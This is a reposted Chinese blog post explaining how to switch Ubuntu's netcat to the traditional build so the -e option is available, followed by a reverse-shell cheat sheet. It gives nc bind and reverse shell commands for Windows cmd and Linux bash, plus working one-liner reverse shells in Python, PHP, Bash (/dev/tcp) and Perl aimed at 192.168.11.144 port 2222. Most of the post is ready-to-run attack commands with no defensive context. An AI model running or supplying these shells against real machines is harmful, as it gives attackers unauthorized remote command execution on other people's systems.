Ubuntu 切换 netcat 为 traditional版以及使用方法

今天用netcat时发现我的netcat竟然没有-e选项

原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,

变更方法如下:

输入

sudo update-alternatives --config nc

此时会显示netcat的各个版本,输入2选择traditional

之后nc便有了-e选项

netcat-openbsd的用法与netcat-traditional用法有所不同,可以根据需要自行切换。

 

反弹shell

方法1、正向shell

nc -lvp [port] -e c:Windowssystem32cmd.exe
或者
nc -lvp [port] -e cmd

建立连接

nc -nvv [ip] [port]

方法2、反向shell

nc -lvp [port]

反弹

nc -e c:windowssystem32cmd.exe [ip] [port]
或者
nc -e cmd [ip] [port]

linux的为

 -e /bin/bash

nc的常用的几个参数如下所列:

0)-e
程序重定向
1
) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 2) -p <port> 指定端口3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用 6-w 超时秒数,后面跟数字 7)-z 表示zero,表示扫描时不发送任何数据
8)-n
告诉netcat 不要使用DNS反向查询IP地址的域名
9)-o <输出文件>
指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
10)-i <延迟秒数>
设置时间间隔,以便传送信息及扫描通信端口。

python反向shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP反向shell

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

Bash反向shell

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

Perl反向shell

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

原文地址:https://www.cnblogs.com/adhzl/p/11147708.html